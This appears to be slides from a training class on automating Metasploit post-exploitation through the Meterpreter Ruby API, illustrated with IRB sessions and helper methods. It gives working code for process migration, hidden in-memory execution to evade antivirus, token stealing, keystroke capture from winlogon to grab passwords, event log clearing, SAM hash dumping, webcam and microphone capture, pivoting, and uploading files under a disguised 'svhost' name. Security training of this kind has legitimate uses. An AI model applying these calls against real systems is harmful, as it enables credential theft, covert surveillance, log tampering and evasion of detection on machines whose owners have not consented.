# Automating Post Exploitation with Metasploit

## Ruby Primer

# Disclaimer

The author of this class is not responsible for the use of this information. The information here provided is for the use of security professionals to automate post exploitation task while performing authorized security assessments and tasks.

Not all API calls available will be covered during this class, only those that are considered to be the most useful one based on the instructors experience. The Metasploit Framework is in constant evolution, this course covers the current version of the framework at the time of it's delivery.

# Framework API

- In this section we will cover the general API calls used to manipulate sessions, Meterpreter Sessions API Calls and Shell Session API Calls for the purpose of post exploitation
- There will be sections called learning to fish these sections are to show you where to find reference on how many of the calls are used and the calls themselves, this should prove useful do to the quickly changing nature of the framework

# Meterpreter API

# Meterpreter API

- So far we have covered general Ruby syntax and general use, this should be enough to get started exploring the API and experimenting with the code
- We will cover the majority of the Meterpreter API and show where to look to find more information
- We will show how to generate API documentation that can be use to further expand  knowledge on the API and ways to use it
- The post mixins will be discussed when we cover Post Modules and Scripts

# Meterpreter Core Commands

- Process migration in the process of moving the current session in to a separate process by injecting in to the other process memory and registering the meterpreter DLL
- You can migrate in from Administrator privilege to SYSTEM level privilege on older versions of windows prior to Windows Vista and 2008
- To be able to migrate a process ID of the process to migrate to is necessary

# Meterpreter - Core

- The API call is **`client.core.migrate(pid)`** process Identifier (PID) value has to be given as an integer

```
> client.core.migrate(2680)
=> true
```

- When one tries to migrate to a non existing PID an error is raised

```
>> client.core.migrate(2689)
Rex::RuntimeError: Cannot migrate into non existant process
        from (irb):2:in `cmd_irb'
.......
```

# Meterpreter - Core

- Now is you try to migrate to process where you do not have privilege to migrate to you will get the following error
- ```
  >>  client.core.migrate(1348)
  Rex::RuntimeError: Cannot migrate into this process (insufficient
  privileges)
          from (irb):2:in `cmd_irb'
  .......
  ```
- Now with this information in terms of how an API call can behave we can behave by using IRB we can build a method that can take this behavior into consideration
  ```

# Meterpreter - Core

- With the information gained from IRB a reusable method for migrating would be

```
def met_migrate(pid_to_migrate)
    migrate_status = true
    begin
        print_status("Migrating in to #{pid_to_migrate}")
        @client.core.migrate(pid_to_migrate)
        print_status("Migration was successful")
    rescue::Exception => e
        print_error(e)
        migrate_status = false
    end
    return migrate_status
end
```

# Meterpreter - Extensions

- To list loaded extensions use **`client.ext.aliases.keys`**
- ```
  >> client.ext.aliases.keys
  => ["stdapi", "priv"]
  >> client.ext.aliases.keys.include?("priv")
  => true
  ```
- To load a extension **`client.core.use(extension)`**
- ```
  >> client.core.use("incognito")
  => true
  ```
- As each extension is loaded the name space for the session gets extender
  **`–client.priv`**
  **`–client.incognito`**
  **`–client.espia`**
  **`–client.sniffer`**

# Meterpreter - Extensions

- Meterpreter has several extension:
  - **stdapi** - adds commands for interacting with the file system, networking commands, control over user interface, basic system commands and control over the microphone and webcamera on a system
  - **priv** - adds commands for privilege escalation, dumping hash database and command to modify file MACE attributes
  - **espia** - Adds commans for capturing sound and pictures from webcam
  - **incognito** - Adds commands for manipulation of authentication tokens
  - **sniffer** - Adds commands for sniffing traffic on a target host (Broken at the time of this writing)

# Learning to Fish

- All Meterpreter commands issued through the console can be found in **`lib/rex/post/meterpreter/ui/console/command_dispatcher/`**
- For a more in depth look at the API calls that can be use take a look at the files under **`lib/rex/post/meterpreter/extensions/`**
- Take 5 minutes to look at the code and calls in the files

# Meterpreter - Extensions

- The core commands use the API calls under **client.core**
- The standard API calls or also known as stdapi has a more extended API name space
  - **cliet.sys.config**
  - **client.sys.process**
  - **client.sys.power**
  - **client.sys.registry**
  - **client.sys.eventlog**
  - **client.ui**
  - **client.net.config**
  - **client.fs.file**
  - **client.fs.dir**

# Meterpreter - Std Config

- The config names pace provide information about the user and the system
- **`client.sys.config.sysinfo`** - Provides a hash with system information like architecture, OS Type, language and computer name
- **`client.sys.config.getuid`** - Provides the name of the user you are currently running under
- **`client.sys.config.revert_to_self`** - Calls RevertToSelf to restore privileges if necessary
- **`client.sys.config.getprivs`** - Attempt to enable all privileges available to the current process, it does not get new ones
- **`client.sys.config.steal_token(PID)`** - Attempts to steal an impersonation token from the target process
- **`client.sys.config.drop_token`** - Relinquishes any active impersonation token

# Meterpreter - Std Process

- The config names pace allows to enumerate and manipulate running processes
- **`client.sys.process.open(pid, perms)`** - Opens the specified process pid and returns a handle
- **`client.sys.process.execute(path, arg, options)`**- Executes the specified executable and returns a handle
- **`client.sys.process.kill(pid)`** - Kills the specified process pid
- **`client.sys.process.getpid`** - Returns the server's process identifier
- **`client.sys.process.each_process`** - Enumerates running processes
- **`client.sys.process.processes`** - Returns an array of running processes

# Meterpreter - Std Process

- **`client.sys.process.execute(path,cmd_arg,cmd_opt)`** – Will execute a process on the target host given the path of the command, command arguments and the options for the process, each enabled with true or false Boolean objects inside a hash, The options for the process are:
  - **`Hidden`** – There will be nothing displayed on the target screen.
  - **`Channelized`** – Interact with the executed process.
  - **`Suspend`** – Start the process suspended.
  - **`Inmemory`** – It will read the executable in path, copy it to the target host and execute it memory.
  - **`UseThreadToken`** - Boolean to indicate if an impersonated token is used
- Hidden Command

```
client.sys.process.execute("cmd.exe","/c ping -t localhost",{'Hidden'=>true})
```

# Meterpreter - Std Process

- On Windows hosts it is best practice to do a "**`cmd.exe /c <command>`**"
- On Linux/OSX/Unix hosts give the full path of the command "**`/bin/ls`**".
- When working with output make sure to take in to consideration what each line will have a \r or \n deepening on the OS. Do a .chomp on each line or to remove all from the **`object .gsub(/\r|\n/,' ')`**
- A good way to design and validate a script that will use commands on a remote host is to use **`` `<command>` ``** on a local script on the host since it will return the same output
- Running a command in memory will ensure that will not touch disk making detection a possibility by AV

# Meterpreter - Std Process

- Returns PID, Process Handle and Channel:

```
>> p = client.sys.process.execute("cmd.exe","/c ping -t localhostâ€šÃ„Ã¹)
=> #<#<Class:0x10757c620>:0x10744fab8
@aliases={"thread"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::
Thread:0x10743eda8 @process=#<#<Class:0x10757c620>:0x10744fab8 ...>>,
"memory"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Memory:
0x10743edf8 @process=#<#<Class:0x10757c620>:0x10744fab8 ...>>,
"io"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::IO:0x10743ee48
@process=#<#<Class:0x10757c620>:0x10744fab8 ...>>,
"image"=>#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessSubsystem::Image:
0x10743eee8 @process=#<#<Class:0x10757c620>:0x10744fab8 ...>>}, @handle=388,
@client=#<Session:meterpreter 192.168.1.113:1043 "TEST-01BCDAF47C\Administrator @
TEST-01BCDAF47C">, @pid=1392, @channel=nil>
>> p.pid
=> 1392
```

# Executing Commands

- The output is not returned by default. The command has to be channelized and the channel read for the output

```
r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
while(d = r.channel.read)
    tmpout << d
    break if d == ""
end
cmdout << tmpout
r.channel.close
```

- For commands like WMIC, powershell that can break a shell do not channelize and use file output to manage the results from the command

# Executing Commands

- A much simple way to execute command is to use **`client.shell_command_token(cmd, timeout)`** executes command on shell and Meterpreter sessions and returns a string object containing the command output.  Reads until the end of the output is received or times out.

# Meterpreter - Std Process

- When you open a process you can interact with the loaded libraries, threads and memory of that process if you have the proper permissions
  - ProcObj.images - name space for methods for manipulating DLLs
  - ProcObj.memory - name space for methods for manipulating process memory
  - ProcObj.thread - name space for methods for manipulating process threads

# Meterpreter -ProcObj.images

- Methods for managing Images are
  - **load(path)** - Injects a DLL into the process
  - **get_procedure_address(base, name)** - Lookup function addresses
  - **unload(base)** - Unloads a DLL
  - **each_image** - Enumerates the loaded images
  - **get_images** - Returns an array of image info

# Meterpreter -ProcObj.images

- Methods for interacting with are
  - **allocate(len, prot, base) -** Allocates memory of the specified size
  - **free(base, len) -** Deallocates memory at base
  - **read(base, len) -** Reads memory at the specified base address
  - **write(base, data) -** Writes memory to the specified base address
  - **query(base) -** Queries information about a base address
  - **protect(base, len, prot) -** Changes page protections on a region
  - **lock(base, length) -** Lock pages in memory to prevent swapping

# Meterpreter -ProcObj.thread

- Methods for interacting with threads are
  - **each_thread -** Enumerates the running threads
  - **get_threads -** Returns an array of threads
  - **create(entry, param) -** Creates a new thread at the specified entry point

# Meterpreter - Std Power

- The config names pace allows to reboot and shotdown a target system
- **`client.sys.reboot(reason)`** - Will reboot the target system
- **`client.sys.shutdown(force, reason)`** - will shutdown the target system

# Meterpreter - Std Registry

- The registry names pace allows to manipulate de registry
- **`client.sys.registry.`open_key(rk, bk, perm)** - Opens a registry key
- **`client.sys.registry.`create_key(rk, bk, perm)** - Creates a registry key
- **`client.sys.registry.`delete_key(rk, bk, recursive)** - Deletes a registry key
- **`client.sys.registry.`close_key(hk)** - Closes an open key
- **`client.sys.registry.`enum_key(hk**) - Returns an array of sub-keys
- **`client.sys.registry.`set_value(hk,name,type,val)** - Sets a registry value
- **`client.sys.registry.`query_value(hk,name)** - Queries a registry value

# Meterpreter - Std Registry

- **`client.sys.registry.delete_value(hk,name)`** - Deletes a registry value
- **`client.sys.registry.load_key(rk,bk,file)`** - Opens the supplied registry key relative to the root key with the current users permissions
- **`client.sys.registry.open_remote_key(rem,rk)`** – Will open and loaded remote host registry root key with the credentials of the current process

# Meterpreter 32bit vs 64bit

- The Registry depending the architecture has distinct keys for 64-bit and 32-bit applications
- It is important to run the proper version of meterpreter depending the architecture, best way to change from 32bit to 64bit is to migrate the process
- The system will do redirection so that 32bit applications do not know that they are running in a 64bit system
- The operating system uses the %SystemRoot% \system32 directory for its 64-bit library and executable files. This is done for backward compatibility reasons

# Meterpreter 32bit vs 64bit

- There are two "Program Files" directories, both visible to both 32-bit and 64-bit applications. The directory that stores the 32-bit files is called Program Files (x86) and Program Files is used for 64-bit
- For references in the changes of file paths and registry key redirections and shared paths take a look at http://msdn.microsoft.com/en-us/library/bb427430(v=VS.85).aspx -Programming Guide for 64-bit Windows

# Meterpreter 32bit vs 64bit

- The best way to determine if you are running a 32bit version of Meterpreter in a 64bit is the client.sys.config.sysinfo['Architecture'] it will say id you are running in WOW64

- ```
  >> client.sys.config.sysinfo['Architecture']
  => "x64 (Current Process is WOW64)"
  >> client.platform
  => "x86/win32"
  ```

- ```
  >> client.core.migrate(748)
  => true
  ```

- ```
  >> client.sys.config.sysinfo['Architecture']
  => "x64"
  >> client.platform
  => "x64/win64"
  ```
  ```

# Meterpreter 32bit vs 64bit

- If a process 64bit process needs to be created run any of the 64bit images found on 64bit versions of Windows in %windir%\ \Sysnative(Redirect to SysWOW64) or %windir%\ \SysWOW64

# Meterpreter 32bit vs 64bit

- When planning to migrate to another process the process list of those processes you have permissions over will show their architecture so choose carefully

- ```
  >> client.sys.process.processes[47]
  => {"pid"=>4060, "parentid"=>820, "name"=>"taskeng.exe", "path"=>"C:\\Windows\
  \system32\\taskeng.exe", "session"=>1, "user"=>"WIN-KVJG16GEMOJ\\Carlos Perez",
  "arch"=>"x86_64"}
  ```

- ```
  >> client.sys.process.processes[45]
  => {"pid"=>2648, "parentid"=>1636, "name"=>"procexp.exe", "path"=>"C:\\Users\
  \Carlos Perez\\Desktop\\procexp.exe", "session"=>1, "user"=>"WIN-KVJG16GEMOJ\
  \Carlos Perez", "arch"=>"x86"}
  ```

- ```
  >> client.sys.process.processes[10]
  => {"pid"=>588, "parentid"=>484, "name"=>"svchost.exe", "path"=>"",
  "session"=>4294967295, "user"=>"", "arch"=>""}
  ```
  ```

# Meterpreter - Std Registry

- **client.sys.registry.unload_key(root_key,base_key)** - Unloads a loaded registry file with the current users permissions
- **client.sys.registry.open_remote_key(target_host, root_key)** - Opens the supplied registry key on the specified remote host. Requires that the current process has credentials to access the target and that the target has the remote registry service running.

# Meterpreter 32bit vs 64bit

- When working with a registry key for
  - Enumerating key values
  - Reading, setting or deleting a value
  - Enumerating key sub keys
- The key must be opened first with read permissions or write permissions depending of the action
- For creating and deleting keys the required opening the key first in other methods is not needed

# Meterpreter - Std Registry Permission

| | |
|---|---|
| KEY_WRITE | Open a local Key for writing |
| KEY_READ | Open a local key for reading |
| KEY_READKEY_WOW64_64KEY | Open a remote Key for reading 64 bit WOW (only 2003\| XP and higher) |
| KEY_READKEY_WOW64_32KEY | Open a remote Key for reading 32 bit WOW (only 2003\| XP and higher) |
| KEY_WRITEKEY_WOW64_64KEY | Open a remote Key for writing 64 bit WOW (only 2003\| XP and higher) |
| KEY_WRITEKEY_WOW64_32KEY | Open a remote Key for writing 32 bit WOW (only 2003\| XP and higher) |

# Meterpreter - Std Registry Hives

| Root Key | Abbreviation |
|---|---|
| HKEY_LOCAL_MACHINE | stores settings that are specific to the local computer |
| HKEY_CURRENT_USER | stores settings that are specific to the currently logged-in user |
| HKEY_USERS | contains subkeys corresponding to the HKEY_CURRENT_USER keys for each user profile actively loaded |
| HKEY_CLASSES_ROOT | contains information about registered applications, such as file associations and OLE Object Class IDs |
| HKEY_CURRENT_CONFIG | contains information gathered at runtime; information stored in this key is not permanently stored on disk |
| HKEY_PERFORMANCE_DATA | This key provides runtime information into performance data |

# Meterpreter - Std Registry

- On creation and deletion of keys make sure you handle exceptions

```
def meterpreter_registry_createkey(key)
    begin
        root_key, base_key = client.sys.registry.splitkey(key)
        open_key = client.sys.registry.create_key(root_key, base_key)
        open_key.close
        return true
    rescue Rex::Post::Meterpreter::RequestError => e
        return nil
    end
end
```

# Meterpreter - Std Registry

- `>> reg_key = client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE", KEY_READ)`
  `=> 2147483650\SOFTWARE`

- `>> reg_key.methods.grep(/key/)`
  `=>`
  `[:each_key, :enum_key, :open_key, :create_key, :delete_key, :hkey, :root_key, :base_key, :hkey=, :root_key=, :base_key=]`

- `>> reg_key.enum_key`
  `=> ["ActiveState", "C07ft5Y", "Classes", "Clients", "FlashFXP", "FTPWare", "Gemplus", "Ghisler", "Ipswitch", "JavaSoft", "Macromedia", "Martin Prikryl", "Microsoft", "Mozilla", "mozilla.org", "MozillaPlugins", "Notepad++", "ODBC", "pidgin", "Policies", "Program Groups", "Python", "Rapid7 LLC", "RegisteredApplications", "Schlumberger", "Secure", "ThinPrint", "VMware, Inc.", "Windows 3.1 Migration Status", "WinPcap"]`

- `>> reg_key.close`
  `=> true`

# Meterpreter - Std Files

- When working with files inside Metasploit the File is refereed as **`::File`** when working with local files
- When working with remote files through Meterpreter we use the **`client.fs.file`** object  where client is the Meterpreter Session
- For shell sessions you will have to execute remote system commands to work with remote files

# Meterpreter - Std Files

- **`client.fs.file.search(root, blob, recurse)`** – Searches thru a files system given  starting from the root, the search blob for file name to look for and Boolean object indicating if the search is recursive or not. Returns an array of hashes. On recent versions of windows like on Vista, 7 and 2008 it will use the index service and will give us the ability to search the Internet Explorer history and MAPI (email) entries. Just by specifying as the path for the search iehistory for Internet Explorer history and mapi for searching email entries.
- **`client.fs.dir.chdir(fullpath)`** – Changes the current working directory on the target given the full path of where to change. Returns 0 if successful and exception if it fails.

# Meterpreter - Std Files

- **`client.fs.dir.mkdir(dir)`** – Creates an empty directory, the directory is created on the current working directory if a full path is not specified. Returns 0 is successful and raises exception if it fails.
- **`client.fs.dir.rmdir(dir)`** – Deletes an empty directory, it looks in the current working directory if a full path is not specified. Returns 0 is successful and raises exception if it fails.
- **`client.fs.dir.upload(dest, src, recursive)`** – Uploads the contents of a given directory to a target directory. If recurse is given a a Boolean true object it will recourse through subdirectories.
- **`client.fs.file.upload(dest, src)`** – Uploads a given local file to a target directory and name on the target host.

# Meterpreter - Std Files

- **`client.fs.file.stat(file)`** - Gets information about the supplied file, returns a class object.
- **`client.fs.dir.entries(path)`** – Returns an array containing all the names for the files and folders in the given path.
- **`client.fs.dir.entries_with_info(path)`** – Returns an array of stat file objects for each of the files and folders in the given path.
- **`client.fs.file.rm(file)`** – Deletes a given file on the current working directory on the target host if a full path is not provided. It will return an object with the full TLV packet content, if the file does not exist an exception is raised.

# Meterpreter - Std Files Methods

- To look at the methods using IRB we need to tell it not to show ancestor methods by passing **`false`** as an argument

```
>> ::File.methods(false)
=>
[:directory?, :exist?, :exists?, :readable?, :readable_real?,
:world_readable?, :writable?, :writable_real?,
:world_writable?, :executable?, :executable_real?, :file?,
:zero? .....
>> client.fs.file.methods(false)
=>
[:client, :client=, :separator, :Separator, :SEPARATOR,
:search.....
```

# Meterpreter - Std Files

- You will find your self working with local and remote paths
- The best way to code is to make it so that the code will handle paths in an OS independent way
- For working with separators with local paths it is recommended to use the **`::File.join`** method so the separators are correctly set
- ```
  >> ::File.join(Msf::Config.log_directory,'scripts')
  => "/Users/carlos/.msf4/logs/scripts"
  ```
  ```

# Meterpreter - Std Files

- For remote systems through Meterpreter the **`client.fs.file.separator`** call will give you the correct separator for the remote system
- `>> client.fs.file.separator`
  `=> "\\"`

It is recommended to always use the framework configured paths instead of hardcoding paths into code

# Meterpreter - Std Files Config Paths

- **`Msf::Config.plugin_directory`** – Directory where plugins included with Metasploit are located
- **`Msf::Config.user_plugin_directory`** – Directory where the user private plugins are located.
- **`Msf::Config.user_module_directory`** - Directory where the user private modules are located..
- **`Msf::Config.session_log_directory`** – Directory where sessions  logs are located.
- **`Msf::Config.loot_directory`** – Directory where loot data for modules and scripts executed by the users are saved.
- **`Msf::Config.data_directory`** – Directory where external files, scripts and executables used by exploits is stored.

# Meterpreter - Std Files Config Paths

- **`Msf::Config.install_root`** – Returns the full path of where is Metasploit installed.
- **`Msf::Config.config_directory`** – Metasploit user config directory, located on the users home directory.
- **`Msf::Config.module_directory`** - Directory where modules included with Metasploit are located.
- **`Msf::Config.script_directory`** – Directory where scripts included with Metasploit are located.
- **`Msf::Config.user_script_directory`** - Directory where the user private scripts are located.
- **`Msf::Config.log_directory`** – Directory where logs are stored.

# Meterpreter - Std Files Paths

- When working with remote paths one of the best ways to specify locations if through the expansion of system variables since some organizations change paths and naming in their installations, the **`client.fs.file.expand_path(VAR)`** API call is used for this

```
>> client.fs.file.expand_path("%TEMP%")
=> "C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp"
>> client.fs.file.expand_path("%SystemDrive%")
=> "C:"
>> client.fs.file.expand_path("%windir%")
=> "C:\\WINDOWS"
>> client.fs.file.expand_path("%HOMEPATH%")
=> "\\Documents and Settings\\Administrator"
```

- For local variable expansion the ENV hash is used, where the Key is the name of the variable

```
>> ENV['HOME']
=> "/Users/carlos"
```

# Meterpreter - Std Files Paths

- To identify the current path you are working from locally the **`::Dir.pwd`** is used
- To identify the remote current working path you would use the Meterpreter API Call **`client.fs.dir.getwd`**

```
>> ::Dir.pwd
=> "/Users/carlos/Development/msf4"
>> client.fs.dir.getwd
=> "C:\\Documents and Settings\\Administrator\\Desktop"
```

# Meterpreter - Std Files Uploading File

- When uploading files and downloading files adding some random text at the start, end or all together a random file name to reduce conflict when multiple shells are on one session
- One of the best ways to generate random strings is to use the Rex library in the framework
- ```
  >> Rex::Text.rand_text_alpha(10)
  => "kSoIslKtSV"
  >> Rex::Text.rand_text_alpha_upper(10)
  => "XLNENPDCVS"
  >> Rex::Text.rand_text_alpha_lower(10)
  => "fauohwxlyr"
  >> Rex::Text.rand_text_numeric(10)
  => "3570372678"
  >> Rex::Text.rand_text_english(10)
  => "fxsGfVVAd7"
  ```
  ```

# Meterpreter - Std Files Uploading Files

- I recommend you generate documentation for the Rex::Text library and study it since it will be useful for several cases with **`rdoc lib/rex/text.rb -o ~/rex_text_doc`**
- Do to the restrictions in most modern Windows a good approach is to save files in the users %TEMP% variable if not running as SYSTEM
- ```
  def upload(session,file)
      location = session.fs.file.expand_path("%TEMP%")
      fileontrgt = "#{location}\\svhost#{Rex::Text.rand_text(3)}.exe"
      print_status("Uploading #{file}....")
      session.fs.file.upload_file("#{fileontrgt}","#{file}")
      print_status("#{file} uploaded!")
      return fileontrgt
  end
  ```
  ```

# Reading and Writing Files

- For opening or creating files the call to use locally is **`::File.New(path,mode)`**, remotely it is **`client.fs.file.new(path,mode)`**
- To read just use the .read method and to write the .write(data) method
- 
```
>> remote_file = client.fs.file.new("c:\\boot.ini","rb")
=> #<#<Class:0x007fd593838a90>:0x007fd592fb8870 @client=#<Session:meterpreter
192.168.1.115:1173 "CARLOS-192FCD91\Administrator @ CARLOS-192FCD91">,
@filed=#<Rex::Post::Meterpreter::Channels::Pools::File:0x007fd592fb4838
@client=#<Session:meterpreter 192.168.1.115:1173 "CARLOS-192FCD91\Administrator @
CARLOS-192FCD91">, @cid=4, @type="stdapi_fs_file", @flags=1>>
>> remote_file.read
=> "[boot loader]\r\ntimeout=30\r\ndefault=multi(0)disk(0)rdisk(0)partition(1)\
\WINDOWS\r\n[operating systems]\r\nmulti(0)disk(0)rdisk(0)partition(1)\\WINDOWS=
\"Microsoft Windows XP Professional\" /noexecute=optin /fastdetect\r\n"
>> remote_file.close
=> nil
```

# Reading and Writing Modes

| Mode | Description |
|---|---|
| r+ | Read and write access. Pointer is positioned at start of file. |
| w | Write only access. Pointer is positioned at start of file. |
| w+ | Read and write access. Pointer is positioned at start of file. |
| a | Write only access. Pointer is positioned at end of file. |
| a+ | Read and write access. Pointer is positioned at end of file. |
| b | Binary File Mode. Used in conjunction with the above modes. |

# Reading and Writing Files

- When opening files and writing files it is recommended to do it in binary mode, this will allow to write all different types of files like executable, images and text files
- Before opening a file verify that the file you are about to open actually exists before opening
- If the hostname or any other parameter from a target host is used for naming files you must pass that value thru **`Rex::FileUtils.clean_path(var)`**

# Meterpreter - Std Eventlog

- Just like registry in the evenlog API calls one first opens a log by name it will return a handle on the log for reading and clearing using **`client.sys.eventlog.open(name)`**
- With an event log handle you can iterate thru the events form recent to oldest or inverse with the methods **`each_forwards`** and **`each_backwards`**
- To clear an eventlog the **`clear`** method is used on the handle, this will alway leave an EventID on security on all versions of windows and and event ID on all logs for versions Vista, 7, 2008 and 2008 R2
- A list of the eventlogs on a system are available in **HKLM\SYSTEM\CurrentControlSet\Services\Eventlog** on older versions of Windows and eventlog on most recent ones after Vista

# Meterpreter - Std Eventlog

- `>> evtsys = client.sys.eventlog.open("System")`
  `=> #<#<Class:0x007f94ef52d678>:0x007f94ed13e4d8 @client=#<Session:meterpreter 192.168.1.113:49251 "WIN-KVJG16GEMOJ\Carlos Perez @ WIN-KVJG16GEMOJ">, @handle=54525992>`
- `>> evtsys.length`
  `=> 11032`
- `>> evtrec = evtsys.read_forwards`
  `=>`
  `#<Rex::Post::Meterpreter::Extensions::Stdapi::Sys::EventLogSubsystem::EventRecord:0x007f94eecbbf30 @num=4, @generated=2009-07-14 01:14:24 -0400, @written=2009-07-14 01:14:24 -0400, @eventid=1073748860, @type=4, @category=0, @strings=["Windows Modules Installer", "stopped"], @data="....>`
- `>> evtrec.eventid`
  `=> 1073748860`
- `>> evtrec.strings`
  `=> ["Windows Modules Installer", "stopped"]`
- `>> evtrec.clear`

# Meterpreter - Std UI

- The UI namespace allows for the control of user interface on a target box allowing:
  - Disable and Enable of Keyboard
  - Disable and Enable of Mouse
  - Locking and unlocking of screen
  - Keystroke capture
- **`client.ui.enable_keyboard`** - will enable the keyboard on the target host
- **`client.ui.disable_keyboard`** - will disable the keyboard on the target host
- **`client.ui.disable_mouse`** - will disable the mouse on the target host
- **`client.ui.enable_mouse`** - will enable the mouse on the target host

# Meterpreter - Std UI

- **`client.ui.screenshot( quality )`** - Will return a jpeg image of the screen under which the process is running under, quality is an integer from 1 to 50 and the size of the image will vary depending of the quality chosen
- **`client.ui.idle_time`** - Retuns the number of seconds that there has not been any action from the mouse of keyboard
- **`client.ui.keyscan_start`** - Start keystroke capture
- **`client.ui.keyscan_stop`** - Stop keystroke capture
- **`client.ui.keyscan_dump`** - Dump the keystroke buffer
- **`client.ui.keyscan_extract`** - Extracts the keystrokes entered from the data returned from the keystroke buffer

# Meterpreter - Std UI

- When capturing keystrokes from a logon session make sure you are in the winlogon process to be able to capture the username and password as they are entered, for regular user interaction the best process to be in would the users explorer process.

- `>> client.ui.keyscan_start`
  `=> true`
- `>> client.ui.keyscan_extract(client.ui.keyscan_dump)`
  `=> "this is a super secret passwot <Back> rd, the pass is ..... <Quotes> Password <Quotes>  :) <Return> "`
- `>> client.ui.keyscan_stop`
  `=> true`

# Meterpreter - Std Net

- The net config namespace will provide access to enumerate interfaces and their information in addition to enumerating routes and adding and removing them for the local host
- **`client.net.config.interfaces`** - Returns an array of the server's network interfaces
- **`client.net.config.routes`** - Returns an array of the server's routing table
- **`client.net.config.add_route(s,n,g)`** - Adds a route
- client.net.config. **`remove_route(s,n,g)`** - Removes a route

# Meterpreter - Std Net

- ```
  >> client.net.config.interfaces[0]
  => #<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface:0x007f9d45d4e6f0
  @ip="127.0.0.1", @netmask="255.0.0.0", @mac_addr="", @mac_name="MS TCP Loopback
  interface\x00">
  >> client.net.config.interfaces[0].ip
  => "127.0.0.1"
  >> client.net.config.interfaces[0].mac_name
  => "MS TCP Loopback interface\x00"
  >> client.net.config.interfaces[0].netmask
  => "255.0.0.0"

  >> client.net.config.routes[2]
  => #<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Route:0x007f9d45c42888
  @subnet="192.168.1.0", @netmask="255.255.255.0", @gateway="192.168.1.115">
  >> client.net.config.routes[2].subnet
  => "192.168.1.0"
  >> client.net.config.routes[2].netmask
  => "255.255.255.0"
  >> client.net.config.routes[2].gateway
  => "192.168.1.115"
  ```
  ```

# Meterpreter - Std Net

- Routing through a Meterprerter session and only a Meterpreter session, this is the API calls used by the msfconsole route command
- This is done thru a Rex::SwitchBoard instance when an object is created with **`Rex::Socket::SwitchBoard.instance`** this object will have  the methods to add and remove routes thru which one can launch exploits thru to pivot
- One of the most used modules is the Auxiliary TCP Scanner
- Do make sure that you do not share the same subnet as the target network!
- Do not route 0.0.0.0 subnet

# Meterpreter - Std Net

- **`SbObj.routes`** - Returns an array of the current routes
- **`SbObj.route_exists?(subnet, mask)`** - Checks if a route thru a session for that subnet already exists
- **`SbObj.add_route (subnet, mask, session object)`** - Add a route thru an exiting Meterpreter session object
- **`SbObj.remove_route (subnet, mask, session object)`** - Removes a route

# Meterpreter - Std Net

```
•>> sb = Rex::Socket::SwitchBoard.instance
=> #<Rex::Socket::SwitchBoard:0x007f9d40507c80 @_initialized=true,
@routes=[], @mutex=#<Mutex:0x007f9d40503108>>
>> sb.routes
=> []
>> sb.route_exists?('10.0.0.1','255.255.255.0')
=> false
>> sb.add_route('10.0.0.1','255.255.255.0',client)
=> true
>> sb.routes
=> [#<Rex::Socket::SwitchBoard::Route:0x007f9d448f5488 @subnet="10.0.0.1",
@netmask="255.255.255.0", @comm=#<Session:meterpreter 192.168.1.115:1495
"CARLOS-192FCD91\Administrator @ CARLOS-192FCD91">, @subnet_nbo=167772161,
@netmask_nbo=4294967040>]
>> sb.remove_route('10.0.0.1','255.255.255.0',client)
=> true
>> sb.routes
=> []
```

# Meterpreter - Priv

- The priv extension holds calls for privilege escalation, file anti forensics and dumping system hashes
- **`client.priv.getsystem( technique )`** Will attempt to escalate privileges for the current session given a technique to use
- The the techniques are:
  - 0 All techniques available
  - 1 Service - Named Pipe Impersonation (In Memory/Admin)
  - 2 Service - Named Pipe Impersonation (Dropper/Admin) **Note: This method might be picked up by AV/HIPS**
  - 3 Service - Token Duplication (In Memory/Admin)
  - 4 Exploit - KiTrap0D (In Memory/User)

# Meterpreter - Priv

- **`client.priv.sam_hashes`** - will attempt to dump hashes from the target host using the LSASS injection method similar to what pwdump and fgdump use
  - To dump hashes on a system the process needs SYSTEM privilege on modern version of windows(Vista|7, Windows 2k8) and Administrator or SYSTEM on XP and 2003.
  - In the case of Windows 2008 R2 the Administrator account is the only account that hold an admin token on Domain controllers so as to be able to dump hashes and Meterpreter must be the 64bit version to be able to dump the hashes
  - Some HIPS and AV that inject them selfs in the LSASS process may blue screen the host when attempting to dump hashes. Make sure you have persistence to recover in the case of a reboot

# Meterpreter - Priv

- Ensure that only printable ASCII characters are retuned when saving to the database since on modern versions of Windows and with system of none English languages with accented characters in usernames it will raise an exception since it adds some garbage to the returned hashes, there is a ticket to improve the code for this.

# Meterpreter - Webcam

- The webcam namespace in the Standard API will provide access to the webcams configured on a target system and the default audio input device
- **`client.webcam.webcam_list`** - Will return a hash of the webcams available on the system for interaction, fi none is found it will raise an exception, this exception should be handled
- **`client.webcam.record_mic(duration)`** - Will record for the specified duration in seconds, one must remember that this data is being saved in a buffer in memory and depending the version of windows and architecture the size of the buffer will vary, a safe amount of time is 30 seconds. Will return recorded audio in WAV format

# Meterpreter - Webcam

- **`client.webcam.webcam_start(index)`** – Open the camera device for interaction, the index key for the webcam to open
- **`client.webcam.webcam_get_frame(quality)`** – Will take a snapshot of the image seen by the webcam, if the webcam has a light it will turn on to indicate activity and off once the image is capture, the quality will be a number from 1 to 100, depending the quality so will the size of the image be. Will return jpeg format
- **`client.webcam.webcam_stop`** – Will close the webcam for interaction

# Meterpreter - Railgun

- Railgun allows to import a target system DLLs and use the functions in those DLLs leveraging the Windows API in the target thru Meterpreter
- DLL's are loaded in memory and the only disk activity is the reading of the DLL's themselves
- Loaded DLLs will remain in memory with the process in the case of migration or closing a Meterpreter session

# Meterpreter - Railgun

- The format of the Railgun API calls are in **`<sessionObj>.railgun.<dllname>.<function>(params)`**
- To get a list of the currently loaded DLLs the **`known_dll_names`** method is used
- `>> client.railgun.known_dll_names`
  `=> ["kernel32", "ntdll", "user32", "ws2_32", "iphlpapi", "advapi32", "shell32", "netapi32", "crypt32"]`
- To get a list of the functions under the loaded DLL the you use the functions method on the DLL name, it will return a hash with the function names as keys so as to get only a list of the function names I recommend to use **`client.railgun.advapi32.functions.keys`**

# Meterpreter - Railgun

- Once a key has been identified you can look at the object, this will show the parameters it will take and what type of value is returned
